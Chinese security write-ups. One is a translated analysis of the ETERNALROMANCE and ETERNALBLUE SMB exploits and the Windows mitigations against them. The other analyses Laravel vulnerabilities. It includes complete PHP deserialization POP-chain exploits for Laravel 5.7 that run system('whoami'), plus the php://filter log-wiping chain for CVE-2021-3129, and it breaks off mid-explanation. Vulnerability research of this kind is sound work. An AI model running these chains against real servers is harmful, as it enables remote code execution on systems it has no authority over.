所有的二进制文件包含多个字符串来描述他们的目的。而且，工具包通过DLL文件导出了常用的功能，通过相关的函数名字表明了额外的信息。尽管字符串和函数调用对于我们检查工具包是不必要的，但是能帮助我们做初始分析。
关于工具包中的针对微软产品的独立的利用的更多信息，参见[这里](https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/)。
**0x02 ETERNALROMANCE SMB exploit**
ETERNALROMANCE是一个针对SMBv1文件共享协议的远程代码执行（RCE）漏洞利用。它利用了[CVE-2017-0145](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0145)，在[MS17-010的安全公告](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx)中被补丁修复。通过SMB的文件共享通常只位于本地网络，并且基本上SMB端口都会被防火墙阻止，如果一个攻击者可以访问运行SMB的有漏洞的终端，就可以在远程机器的内核上下文中运行任意代码。
**1\. 得到一个可靠的堆布局**
利用开始于通过多个并发的[SMB_COM_TRANSACTION](https://msdn.microsoft.com/en-us/library/ee441489.aspx)实例来进行堆喷射。漏洞利用二进制支持3种不同的堆喷射方式，使得其能处理不同Windows版本的内存池行为。区别于开始的一些分配（其他的依赖与内存池状态），transaction对象是固定分配的，相互之间的位置可预测。在喷射完成之后，利用使用在TRANS_PEEK_NMPIPE中的一个信息泄漏。它使用信息泄漏来确定目标运行的Windows版本（32或者64），并且得到多个SMB对象的内核指针。
网络痕迹如下：
**2\. 构建堆的读写原语**
喷射已经在堆上放置了很多TRANSACTION对象，并且相对位置已知。因为利用已经泄露了指针的大小，这样能够知道TRANSACTION对象中所有字段的偏移。现在利用可以使用精心构造的偏移，并从一个对象中使用类型混淆越界写来破环相邻的对象。
通过使用硬编码的0来覆盖受害对象相关的ID，现在对象将不知道原始的ID是什么。
继续使用多种方式破环transaction对象，构造任意读写原语。它写入额外的字段来阻止transaction被释放，使得利用能继续复用相同的transaction，而不需要选择新的目标来破环。
**3\. 安装内存后门**
此时，利用代码试图在SMB驱动中植入后门代码。这个步骤包括了拷贝shellcode到非分页内存，破环函数指针指向shellcode和执行函数指针。注意从Windows
8开始，SMB被移到了不可执行内存，这个方法在新平台上将失效。
为了找到函数指针的好的切入点，漏洞利用在堆上面找到了一个指针到达数据段。扫描数据段，能找到一个函数指针是用来派遣不同的SMB_COM_TRANSACTION2的子命令到不同函数的。
当找到了函数指针后，漏洞利用覆盖了这个表中14号入口，即TRANS2_SESSION_SETUP。[MSDN](https://msdn.microsoft.com/en-us/library/ee441654.aspx)描述这个子命令是保留的，使得它成为一个理想的候选者，用来触发后门，因为它在SMB流量中几乎从不被使用。
当SMB数据包使用这个子命令ID发送给目标设备时，函数指针得到执行，触发shellcode。这个机制和后门代码不是固定的，他们需要一个固定的二级组件来保证重启生效。
**
**
**0x03 ETERNALBLUE SMB exploit**
WannaCrypt使用改写的ETERNALBLUE漏洞利用来传播。这个bug的目标是不同的SMBv1漏洞，是一个内存池中的线性的缓冲区溢出。
当将[扩展属性](https://msdn.microsoft.com/en-us/library/windows/hardware/ff545793\(v=vs.85\).aspx)（EA）的列表转化为另一种格式时，这种bug才会发生。如果这个列表包含的EA超过了包缓存，列表将被截断，只包含最后一个条目。
当更新列表长度时，大小被写入，即使实际是32位的ulong也被作为16位的ushort。这意味着高16位不能更新，列表被截断了：
代码计算大小分配了一个缓冲区来填充所有的EA来达到截断。但是因为列表大小是增长的，这导致了攻击者可控数据的线性堆缓冲区溢出。
和之前的很相似，还是堆喷射，但是这次使用的SMBv2协议的srvnet!SRVBUFFER对象。这个对象包含两个关键的指针：一个接收网络数据包payload的[MDL](https://msdn.microsoft.com/en-us/library/windows/hardware/ff554414\(v=vs.85\).aspx)指针和一个srvnet!SRVNET_CONNECTION对象指针。所有指针都能被覆盖，因此它们指向HAL区域中固定的地址（通过硬件抽象层）。
因为破坏的MDL指针，下个包payload将写入HAL区域。这个payload包含shellcode和一个假的srvnet!SRVNET_CONNECTION对象的初始内存结构。这个连接对象有一个指向srvnet!SRVNET_CLIENT_CONNECTION_DISPATCH结构的指针，其包含函数指针。
在收到数据包payload后，SRVNET_RECEIVE_HANDLER函数指针从攻击者控制的srvnet!SRVNET_CLIENT_CONNECTION_DISPATCH结构执行，跳转到shellcode。
在Windows
7（是目标系统）中，HAL区域被映射为可读可写可执行。在新版中HAL区域不再是可执行的，意味着执行shellcode时CPU将出错。而且，HAL区域和其他的内核区域（如页表）在64位的Windows10中也是随机的，将阻止ETERNALBLUE生效。
**
**
**0x04 基于虚拟化的安全的缓解措施**
Windows 10中Device
Guard提供的基于虚拟化的安全（VBS）和创新者更新提供的KCFG增强功能能阻止常见的漏洞利用技术，包括ETERNALROMANCE和ETERNALBLUE。
**1\. 使用W^X增强阻止shellcode执行**
在有[Device Guard](https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-device-guard-enable-virtualization-based-security)的系统中，因为在hypervisor中的W^X策略，在内核中写入和执行shellcode（如ETERNALROMANCE后门）是不可能的。这些策略确保了内核内存页不可写和不可执行。
即使攻击者试图攻击页表，hypervisor也能够通过[扩展页表](https://software.intel.com/sites/default/files/managed/2b/80/5-level_paging_white_paper.pdf)（EPT）强制禁用执行。继而阻止了攻击者代码复用的方法，如ROP。因此，Shadow
Brokers泄漏中的shellcode植入库在VBS保护的系统中是不适用的。
**2\. 使用KCFG阻止破环函数指针**
在[Windows 10创新者更新](https://www.microsoft.com/en-US/windows/features)中，我们介绍了对于基于VBS的系统的内核空间中的一种新的安全缓解措施。内核也使用CFG（一种控制流完整性方案用于阻止依赖破环函数指针或者C++虚函数表的常见的栈转移技术）编译。
在内核中使用CFG旨在验证所有的间接调用。这使得攻击者通过滥用函数指针或者其他的间接调用来执行代码更加困难。
在ETERNALROMANCE的例子中，调用颠覆的函数指针将导致安全错误，使得功能失效。同样适用于ETERNALBLUE（依赖于破环函数指针执行代码）。
在创新者更新之前的Windows 10 中并且没有Device
Guard，攻击HAL区域的页表是可能的，继而使用ETERNALBLUE的技术是能执行代码的。 | 社区文章 |
# Laravel 相关漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Laravel 5.7.x 反序列化漏洞分析
### 环境搭建
直接github下载对应版本源码，在源码根目录使用`composer install`生成`vender`目录，建议将composer进行换源:
#阿里云的composer镜像源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
#腾讯云的composer镜像源
composer config -g repo.packagist composer https://mirrors.cloud.tencent.com/composer/
Lavarel框架需要使用 **APP_KEY** ,因此还需要将源码中`.env.example`复制后修改 **APP_KEY**
后在生成`.env`文件后
php artisan key:generate //生成对应APP_KEY
最终环境搭建成功的效果为：
### 反序列化分析
> laravel 5.7是一款基于php 7.1.3之上运行的优秀php开发框架,反序列化RCE漏洞出现在核心包中，但是需要对基于laravel
> v5.7框架进行二次开发的cms出现可控反序列化点，才能触发漏洞实现RCE
将Laravel
5.6和5.7版本进行对比，在`vendor\laravel\framework\src\Illuminate\Foundation\Testing\`下新版本多出了一个文件`PendingCommand.php`：
由于5.7的官方API说明已经无了，只能用5.8的文档进行查看，不过方法和内容是一样的：
整个漏洞也就是从这个文件入手，此处我们选择结合EXP来进行反向分析，通过动态调试的方式来分析反序列化的整个流程,下面先贴EXP：
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('id'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
由于需要反序列化的入口，因此我们在`routes\web.php`增加一个路由:
Route::get('/index','TaskController@index');
新建`app\Http\Controllers\TaskController.php`，并且在此增加反序列化入口：
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
if(isset($_GET['ser'])){
$ser = $_GET['ser'];
unserialize($ser);
return ;
}else{
echo "no unserialization";
return ;
}
}
}
?>
现在通过exp来动态调试对利用链进行分析:
在执行`unserialize`后需要加载类，这里是通过`src\Illuminate\Foundation\AliasLoader.php`中`load`方法进行类的加载：
`static::$facadeNamespace`是一个字符串常量：`Facades\`
这里需要了解facade在Laravel框架中的作用
> Facades（读音：/fəˈsäd/ ）为应用程序的服务容器中可用的类提供了一个「静态」接口。Laravel 自带了很多 facades
> ，几乎可以用来访问到 Laravel 中所有的服务。Laravel facades 实际上是服务容器中那些底层类的「静态代理」，相比于传统的静态方法，
> facades 在提供了简洁且丰富的语法同时，还带来了更好的可测试性和扩展性。
关于facade门面的具体用法和实现原理可以参考:<https://learnku.com/articles/4684/analysis-of-facade-source-code-of-laravel-frame>
因此总结一下，此时加载`ArrayInput`类和`Mockery`类就会进行如下操作：
1.需要加载的类是否为facede门面类，如果是则调用`$this->loadFacade`
2.`Illuminate\Support\Facades`命名空间来查找是否属于这些alias
`alias`是类的别名，`class_alias`函数可以为任何类创建别名，而在`Laravel`启动后为各个门面类调用了`class_alias`函数，因此不必直接用类名，在config文件夹的app文件里面存放着门面与类名的映射
Mockery类并非门面类，因此进入后面的if后通过`loadClass`方法调用`findfile()`函数通过classMap中定义的命名空间和对应类的地址的映射来获得所要加载类对应的类文件地址，找到类地址后通过`includeFile`来将该类进行包含：
一直到这Laravel加载类的方式应该也比较清楚了，到此完成了对整个利用类，也就是`PendingCommand`类的加载已经完成
下面进入该类的析构方法：
`$this->hasExecuted = False`是默认的，因此直接进入`$this->run`方法：
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
使用`Mockery::mock`实现对象的模拟：
这里涉及到类的加载，因此再次会调用load方法来加载类：
因此在这里不在展示加载类的过程，着重放在链的利用上:
接着会调用`$this->createABufferedOutputMock()`方法，我们跟进该方法：
看到这，获取了`$this->test`类中的`expectedOutput`属性，并且为一个数组，如果该属性不为数组，则运行到这就会出错，利用链无法继续,并且经过全局搜索后发现只有测试类拥有该属性:
而测试类一般不会加载，那有何办法能够凭空创造`expectedOutput`属性呢？
没错，魔术方法派上用场了，当类的成员属性被设定为private甚至是没有该成员属性时如果我们去获取这个不存在或者是私有属性，则会触发该类的`__get()`魔术方法
通过全局搜索找到
//vendor\laravel\framework\src\Illuminate\Auth\GenericUser.php
class GenericUser implements UserContract
{
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
public function __get($key)
{
return $this->attributes[$key];
}
}
发现在Laravel中还有其他可以利用的类，例如在`\Faker\DefaultGenerator`中:
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
/**
* @param string $attribute
*
* @return mixed
*/
public function __get($attribute)
{
return $this->default;
}
同样也是可控的，因此也可以选择该类魔术方法，在这里我们使用前者。
通过构造方法我们知道attrubutes属性是我们可控的，这样我们只需要使得`$this->test`为GenericUser类，并且让attributes中存在键名为expectedOutput的数组，这样便可以跳出循环，使得利用链能够继续.
回到mockConsoleOutput():
发现还存在一次类似情况，获取`$this->test`的expectedQuestions属性，又是只有测试类才有该属性，因此如法炮制再通过该魔术方法遍历得到最终跳出该方法
继续向下就到了利用链的关键处:
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
我们来看后面的调用栈：
而`Kernel::class`是一个定量，其值为`Illuminate\Contracts\Console\Kernel`这个类，我们持续跟进后几个调用栈：
在进入make()方法,因为只有一个$key参数，所以第二个参数是空值
再调用父类的make方法，继续跟进，此时`$parameters = []`:
来看一下该方法:
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
在进行分析的时候发现其实有两种思路，这里将两种思路都分别进行分析:
#### 第一种思路
我们看到resolve方法中:
// namespace Illuminate\Container
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
如果我们可以控制`$this->instances`，那么我们将有可能返回一个任意对象，最终该对象会赋值给`$this->app[Kernel::class]`，在这里选取的是`\Illuminate\Foundation\Application`，该类同样继承自`Containers`,因此同样会进入该方法，此时`$this`就是Application这个实例，而我们想要返回的同样也是该类，因此我们需要做的是
Application->instances['Illuminate\Contracts\Console\Kernel'] = Application
至于为何选取`Application`在之后分析过程中也就明了了：
分析到这我们可以先构造部分EXP:
<?php
namespace Illuminate\Foundation\Testing{
use PHPUnit\Framework\TestCase as PHPUnitTestCase;
class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
public function __get($key)
{
return $this->attributes[$key];
}
}
}
//__get方法也同样可以使用如下类
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
public function __get($attribute)
{
return $this->default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$genericuser = new Illuminate\Auth\GenericUser(
array(
//这里需要两次使用来循环获得以便成功跳过方法,两次键名分别为expectedOutput和expectedQuestions
"expectedOutput"=>array("crispr"=>"0"),
"expectedQuestions"=>array("crispr"=>"1")
)
);
$app = new Illuminate\Foundation\Application();
//通过如下步骤最终获得的$this->app[Kernel::class]就是该Application实例
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
$genericuser,
$application,
"system",
array("whoami")
);
echo urlencode(serialize($pendingcommand));
}
将得到后的序列化数据传入在动调到相应待分析步骤:
注意此时的`$this`和instances均为application类，此时赋值给`$this->app[Kernel::class]`，在继续调用call方法时，由于application类没有call方法，根据特性会寻找其父类也就是Container类的call方法:
此时`$callback`为system而`$parameters`为whoami，继续跟进：
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
此时`$callback = system`,判断是否进入isCallableWithAtSign:
可以知道无法满足条件，那么进入第二个分支：
看到一个关键函数`call_user_func_array`，其在闭包函数中被调用,这里$callback为system，而第二个参数是一个静态方法的返回值，我们跟进：
static::getMethodDependencies($container=application实例, $callback='system', $parameters=array('whoami'));
可以看到`getMethodDependencies`方法只是将一个空数组和`$parameters`进行合并，合并后的数据依然是可控的，最终通过call_user_func_array(‘system’,array(‘whoami’))执行命令，这也是`$parameters`为数组的原因，因为`call_user_func_array`第二个参数要求是数组形式
#### 第二种思路
接第一种思路的起点，如果此时
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
没有进入该if语句，继续往下运行会进入`getConcrete()`方法，而其中的关键方法就是`getConcrete()`，我们在继续跟进:
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
这里说明其为何不会进入第一个if中，跟进该方法:
protected function getContextualConcrete($abstract)
{
if (! is_null($binding = $this->findInContextualBindings($abstract))) {
return $binding;
}
if (empty($this->abstractAliases[$abstract])) {
return;
}
foreach ($this->abstractAliases[$abstract] as $alias) {
if (! is_null($binding = $this->findInContextualBindings($alias))) {
return $binding;
}
}
}
protected function findInContextualBindings($abstract)
{
if (isset($this->contextual[end($this->buildStack)][$abstract])) {
return $this->contextual[end($this->buildStack)][$abstract];
}
}
从上面可以看出，getContextualConcrete函数把当前解析的类（`Illuminate\Contracts\Console\Kernel`）作为abstract,buildStack
最后一个类作为 concrete，寻找 this->contextual[concrete] [abstract]
即（contextual[end($this->buildStack)]
[‘Illuminate\Contracts\Console\Kernel’]）中的值
在动态调试的过程中发现：
其`buildStack`和`contextual`均为空，最终会直接return
接下来进入该语句：
其实这里的思路和思路一就比较相像了，同样是如果我们能够控制`$this->bindings[$abstract]`即`$this->bindings['Illuminate\Contracts\Console\Kernel']`的值为数组，并且键名为’concrete’，便可以返回得到任意类，得到该类后紧接着对该类进行实例化或者解析，得到一个该类的实例，而该类我们仍然选取Application,因此最后还是赋值给`$this->app['Illuminate\Contracts\Console\Kernel']`，调用call方法时子类不存在，最终调用父类`Container`的call方法，后续步骤和思路一一致，这里不再进行叙述。
这里使用第二种`__get`来写思路二的EXP:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
public function __get($attribute)
{
return $this->default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("crispr"=>"0"));
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('whoami'),
$defaultgenerator,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
## CVE-2021-3129 Laravel 远程代码执行漏洞分析
### 环境搭建
$ git clone https://github.com/laravel/laravel.git # 下载laravel源码
$ cd laravel
$ git checkout e849812 # 切换到存在漏洞的分支
$ composer install # 安装依赖
$ composer require facade/ignition==2.5.1 # 下载安装存在漏洞版本的组件
$ php artisan serve --host=0.0.0.0 # 启动服务器
或者像我一样，直接下载对应版本的源码
然后步骤和之前的环境搭建类似，生成`vender`目录，再创建`APP_KEY`
> 该版本要求PHP 7.3以上，否则生成`vender`目录时会报错
建议使用docker进行复现，手动搭建挺费劲，在`config`下转成debug模式访问后，环境搭建成功：
可以看到现在比前一个版本的laravel美化了很多，并且支持一键修复等功能，其实也部分收益于`Ignition`，它是Laravel
6+默认错误页面生成器，可以看到它给我们提供了解决方法，让我们在配置文件中给Laravel配置一个APP_KEY
这里我们点击生成KEY看下包：
通过这种方式，`Iginition`成功在配置文件中.env生成了APP_KEY
最终环境也就搭建完成：
### 漏洞分析
出现问题的地方就在于Laravel的这个Iginition插件，我们来看该插件一共提供了几种solutions来供使用:
在`vendor\facade\ignition\src\Solutions`中:
这里贴一个针对没有APP_KEY的solutions的代码:
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Artisan;
class GenerateAppKeySolution implements RunnableSolution
{
public function getSolutionTitle(): string
{
return 'Your app key is missing';
}
public function getDocumentationLinks(): array
{
return [
'Laravel installation' => 'https://laravel.com/docs/master/installation#configuration',
];
}
public function getSolutionActionDescription(): string
{
return 'Generate your application encryption key using `php artisan key:generate`.';
}
public function getRunButtonText(): string
{
return 'Generate app key';
}
public function getSolutionDescription(): string
{
return '';
}
public function getRunParameters(): array
{
return [];
}
public function run(array $parameters = [])
{
Artisan::call('key:generate');
}
}
可以看到实际上当点击按钮调用了该类的run方法从而生成了APP_KEY
也正是因为其中的`vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php`过滤不严谨才导致了漏洞的产生
我们先到控制器来看一下Laravel是如何调用solutions的:
<?php
namespace Facade\Ignition\Http\Controllers;
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
这里首先判断该类是否实现`Facade\IgnitionContracts\RunnableSolution`该接口来判断给类是否属于solutions类（这里就是用solutions类来讲），在判断该类是否实现`RunnableSolution`接口，得到该类后接着调用run方法，并且传递的参数是我们可控的，因此我们的目的是在已知的solutions类里找到一个危险的run方法
我们来看`vendor\facade\ignition\src\Solutions\MakeViewVariableOptionalSolution.php`
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function __construct($variableName = null, $viewFile = null)
{
$this->variableName = $variableName;
$this->viewFile = $viewFile;
}
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
由于篇幅原因，这里截取关键代码，主要看其run方法的实现，这里的逻辑很容易明白，就是将出现错误的变量进行修改后再重新写上去，为了映证该类的实现，我们不妨自己写一个路由来试试错
和之前一样，在`routes\web.php`增加一个路由,并且仿照`welcome.blade.php`写好`resources\views\viewError.blade.php`
<!DOCTYPE html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Crispr</title>
</head>
<body>
<div id="viewError">
{{$user}}
</div>
</body>
访问该路由，在调试模式下`Ignition`会指出如何修复这个问题，`$user`未被定义，因此修复方法如之前`MakeViewVariableOptionalSolution.php`所指出，将其替换为$user??’’
点击按钮会进行修复，抓个包来看看调用情况:
注意在此也并不完全是能够进行任意文件写，因为:
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
这里设置了一个预期token，并且将其和新的token进行对比，如果相等才会返回，进而进行写入，也就是说如果我们对代码的结构所做的更改没有超出预期，则文件将被其新内容替换，所以在这里能够写入的文件为：
* 1.view模板定义出错的文件
* 2.Laravel中的文件（可能写入出错）
* 3.Laravel日志文件
因为在debug模式下,Laravel会将报错默认写到`storage\logs\laravel.log`下
我们不妨尝试利用该接口（暂且称为接口）来先读一个不存在的路径，看调试状态下是否会写入到日志文件：
在日志文件中，进行了三次记录，有一次经过了转义，而有两次次保留原样：
然而在日志文件中是无法得到解析的，需要配合任意文件包含，而在Laravel中并没有出现任意文件包含的利用点，因此在这里利用日志文件来getshell又打住了。
再回到之前，我们现在可控的是`file_get_contents`，并且路径可控，这时候想到还能利用Phar文件，当对phar文件进行file_get_contents，如果该文件是构造好的反序列化的phar，便可以触发反序列化，造成RCE
#### 利用思路
原作者在文章中使用的是`php://filter`中`convert.base64-decode`的特性，将Log文件进行清空，再将整个log文件控制为一个phar文件，这样在读取日志文件时就能够触发反序列化，这里复盘一下作者的思路:
先通过一个小demo来说明:
<?php
$str = ':;.!!!!!'.base64_encode("Crispr").':;.!!!!!';
$contents = file_get_contents("php://filter/read=convert.base64-decode/resource=data:,".$str);
echo $contents;
//output:Crispr
可以看到在利用伪协议+base64-decode过滤器时会将部分符号进行去除，然而我们要尽量使log文件变成非base64字符，否则在进行过滤时可能会过滤不彻底，并且当进行base64-decode时如果`=`号后有其他字符将会出错，作者使用`convert.iconv.utf-16le.utf-8`过滤器，将`utf-8->utf-16`同样通过demo进行查看:
<?php
$data = ":;.!testestststs!!!!".iconv('utf-8','utf-16le',base64_encode("Crispr"))."===a;.!!!!testes!";
echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=data:;base64,'.base64_encode($data));
//Output:Crispr
但是经过utf-8->utf-16le的转化后，我们的payload可能会存在不可打印字符，这样我们在传输时会起到阻碍，因此我们还需要再嵌套一层过滤器，能够将这种不可见字符转化成可打印的字符，这样在传输过程中会非常正确而方便，PHP不愧是世界上最好的语言，PHP提供了一种`convert.quoted-printable-encode`的过滤器能够打印所有不可见字符。
钥控制log文件为phar文件，应该需要分为两步：
* 1.将log文件清空
* 2.写入phar文件
**将Log文件清空**
作者使用
php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode将log文件进行清空
归结到底就是将所有字符变成非base64字符后使用base64-decode将所有非base64字符清空
为了方便理解，这里我进行分步查看，我们先使用
php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode/resource=../storage/logs/laravel.log
得到类似这种字符，此时是无法进行base64-decode的，因为=后面出现了base64字符会导致base64decode的出错，因此这里在进行如下操作
`php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8`对Log文件进行`file_put_contents`:
此时应该很明显，已经没有base64字符了，在进行`convert.base64-decode`就能将所有字符清空，形成空的log文件，到此第一步已经完成
**写入phar文件**
前文提到，当我们尝试读取不存在的文件时，在日志文件中会出现三次：
作者文章中提到，其格式为：
`[时间] [字符] PAYLOAD [原因+字符] PAYLOAD [字符] 部分PAYLOAD [字符]`
完整的payload会出现在前两次，而后一次是不完整的，因此我们必须要使得至少一次完整的payload被file_get_contents,作者使用`convert.iconv.utf-16le.utf-8`将utf-16转化为utf-8
由于会写入两次完整的payload，我们只需要在后面那个payload加入一个字符：
这样一来就只有一次PAYLOAD,除了PAYLOAD是base64字符外其他都是非base64字符，因此只要我们将PAYLOAD进行base64编码后再decode即可把非base64字符消除掉。
注意在这里使用`echo
-ne`进行写入，而当在file_get_contents()传入\00的时候php会报错，触发Debug页面的报错，这样一来写入的payload就会被污染，所以要将空字节（\00）写入到log中，作者使用了`convert.quoted-printable-encode`过滤器将不可见字符进行打印，其原理是将字符变成ascii值后在前面加上=好，而`convert.quoted-printable-decode`过滤器则相反，将=号后面字符解码在进行打印，因此我们使用`=00`替代`\00`，这样`file_get_contens`不会出错，并且加上`convert.quoted-printable-decode`又变成\00
我们构造如下脚本用来得到经过printable-encode的base64编码后的utf-16格式的payload,注意此处ascii值一定要为大写，否则某些字符会出现异常:
# -*- coding=utf-8 -*- # Author : Crispr
import base64
def get_payload_encode(payload):
payload = payload.encode('utf-8')
payloadBase = base64.b64encode(payload).decode("utf-8")
return ''.join(["=" + hex(ord(c))[2:] + "=00" for c in payloadBase])
print( get_payload_encode("Crispr") )
#Output: =51=00=33=00=4a=00=70=00=63=00=33=00=42=00=79=00
将其进行写入：
再通过
